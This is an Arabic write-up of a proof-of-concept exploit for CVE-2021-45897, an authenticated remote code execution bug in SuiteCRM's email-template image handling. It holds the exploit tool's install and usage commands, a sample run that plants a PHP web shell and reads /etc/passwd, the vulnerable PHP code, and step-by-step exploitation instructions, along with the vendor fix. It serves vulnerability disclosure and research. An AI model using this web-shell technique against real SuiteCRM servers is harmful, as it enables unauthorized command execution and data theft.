
# استغلال RCE مُصادق عليه لـ SuiteCRM <= 8.0.1 عبر رفع صورة في قالب البريد الإلكتروني، بزرع قشرة ويب PHP لتنفيذ أوامر عن بُعد.
PoC لـ CVE-2021-45897 والمعروف أيضًا باسم SCRMBT-#180 - تنفيذ الأوامر عن بُعد عبر قوالب البريد الإلكتروني (يتطلب مصادقة فقط) في SuiteCRM <= 8.0.1
تم الإبلاغ عن هذه الثغرة الأمنية إلى SalesAgility وتم إصلاحها في SuiteCRM 7.12.3 و SuiteCRM Core 8.0.2. إذا كنت تستخدم إصدارات أقدم من SuiteCRM، أنصحك بشدة بتحديثها.
التثبيت
python3 و pip.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"الخيارات المتاحة:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
مثال على الاستخدام:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
اكتشفت مؤخرًا ناقل هجوم مثير للاهتمام لتنفيذ الأوامر عن بُعد في برنامج SuiteCRM المبني على PHP. تسمح هذه الثغرة الأمنية لمهاجم مصادق لديه وصول إلى وحدة EmailTemplates برفع ملفات PHP خبيثة، والتي يمكن استخدامها للحصول على تنفيذ الأوامر عن بُعد.
من وجهة نظري، تبدو معالجة رفع الملفات بشكل عام في SuiteCRM آمنة تمامًا. على الرغم من وجود الكثير من الأكواد المخصصة، إلا أن المطورين أولوا اهتمامًا كبيرًا إما لإزالة أي امتدادات ملفات (وهو ما يحدث لمعظم أنواع الملفات)، أو للتحقق من الامتدادات وتنظيف المحتوى في حالة كان صورة. حتى أن هناك واجهة إضافات لتحميل ماسحات ضوئية من جهات خارجية وجعلها تعالج أي عمليات رفع.
ومع ذلك، عثرت بالصدفة على ميزة صغيرة مثيرة للاهتمام مخفية في public/legacy/modules/EmailTemplates/EmailTemplate.php:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
يسمح SuiteCRM للمستخدمين بإنشاء قوالب بريد إلكتروني. يمكن أن تحتوي القوالب أيضًا على مرفقات، والتي يتم تخزينها في وحدة منفصلة (وحدة Notes). يمكن للمستخدمين إرفاق ملفات عشوائية بقوالب البريد الإلكتروني. لا يتم تنظيف محتوى الملف بأي شكل من الأشكال. ومع ذلك، يتم تخزينه بدون امتداد، لذلك حتى إذا كان يحتوي على كود PHP خبيث محتمل، فلن يتم تنفيذه بواسطة خادم الويب. يمكن للمستخدمين المصادقين أيضًا تنزيل هذه المرفقات باستخدام رابط يتبع التنسيق /index.php?entryPoint=download&type=Notes&id=<note-id>.
يتم تشغيل دالة repairEntryPointImages كلما تم حفظ قالب بريد إلكتروني أو الوصول إليه. إذا ألقينا نظرة على الكود، يمكننا أن نرى أنه يحلل ترميز (body_html) لقالب البريد الإلكتروني ويبحث عن وسوم HTML img مع خاصية src خاصة. يشبه التعبير النمطي بشكل أساسي تنسيق رابط تنزيل المرفقات الداخلي. ومع ذلك، تعمل هذه الروابط فقط للمستخدمين المصادقين في SuiteCRM، وهو على الأرجح ليس الحال بالنسبة لمستلم البريد الإلكتروني. لذلك، يقوم SuiteCRM تلقائيًا بإنشاء نسخة من المرفق في مجلد public لخادم الويب ويستبدل رابط التنزيل الداخلي بالنسخة العامة. لضمان عرض عميل البريد الإلكتروني للصور بشكل صحيح، يضيف أيضًا امتداد ملف. ومع ذلك، يتم أخذ امتداد الملف الهدف في المجلد العام مباشرة من معامل filename في استعلام صورة src ولا يتم التحقق منه (لاحظ أن filename لا يطلق أي منطق آخر ويمكن اختياره بحرية).
الآن لدينا كل شيء معًا لصياغة استغلال يرفع قشرة ويب PHP في مجلد public:
Notes عن طريق رفع قشرة ويب PHP. تذكر معرف Note/index.php?entryPoint=download&type=Notes&id=<note_id>repairEntryPointImages، ولكن استخدم .php لمعامل استعلام filename (على سبيل المثال /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages ونسخ قشرة الويب الخاصة بنا بامتداد .php إلى مجلد publichttp://<<host>>/public/<<note_id>>.phpبعد فترة وجيزة من تقريري، تم إصدار إصدارات جديدة من SuiteCRM (7.12.3 و 8.0.2)، والتي تحتوي على الإصلاح التالي:

يضمن هذا استخدام امتدادات ملفات الصور الصالحة فقط في repairEntryPointImages ويمنع إنشاء ملفات بامتدادات غير مدرجة في القائمة البيضاء مثل .php.